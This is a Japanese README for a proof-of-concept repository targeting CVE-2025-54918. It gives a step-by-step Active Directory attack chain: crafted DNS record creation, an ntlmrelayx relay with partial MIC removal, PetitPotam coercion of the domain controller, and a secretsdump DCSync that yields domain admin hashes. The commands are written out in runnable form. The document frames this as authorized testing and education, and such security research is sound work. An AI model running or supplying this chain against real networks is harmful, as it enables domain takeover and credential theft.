重要:
CVE-2025-54918 をテストするには、ターゲットのActive Directory環境で DNSレコードを作成する必要があります。
テスト前に必ずクライアントと相談し、明示的な許可を得てください。これは本番環境のDNSや認証動作に影響を与える可能性があります。
このリポジトリには、低権限のドメインユーザーが NTLMリフレクションと認証強制 を悪用して ドメイン管理者レベルのアクセス に昇格する方法を示す 技術的な概念実証 が含まれています。
注:このCVEは、ドメインコントローラのデフォルトであるSigning=Trueでも悪用可能です。また、CVE-2025–54918の修正はWindows 2025向けであり、CVE-2025–33073は(意図せず)Windows 2022で修正されました。
より技術的な詳細は、私のMediumページで公開されています:https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1
192.168.140.150(SigningはTrue。これはドメインコントローラのデフォルトです)192.168.140.135nahya.localtest 有効なドメインユーザー(DCSync権限なし)必要なリポジトリをクローンします:
git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git
悪用前にユーザーがDCSyncを実行できないことを確認します:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

NetBIOS名 + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA を使用して、攻撃者IPに解決されるDNSレコードを作成します。
python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
dc.nahya.local -a add \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d '192.168.140.135' -dns-ip 192.168.140.150

部分的なMIC削除 とLDAP昇格を有効にして ntlmrelayx を実行します:
python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC --escalate-user USERNAME --no-validate-privs

強制技術(PetitPotam)を使用して、ドメインコントローラを攻撃者が制御するDNSレコードに対して認証させます:
nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

secretsdump を再実行して権限昇格を確認します:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC
✅ 期待される結果:DCSync の成功と ドメイン管理者ハッシュ の取得

この時点で、攻撃者は以下を達成しました:
脆弱性と攻撃チェーンの詳細な説明については、Mediumの記事 を参照してください。
この作業は以下の方々の貢献なしには実現しませんでした:
impacket-partial-mic の実装に対して https://github.com/decoder-it/impacket-partial-micこの概念実証は、教育および許可されたセキュリティテスト目的のみ で提供されています。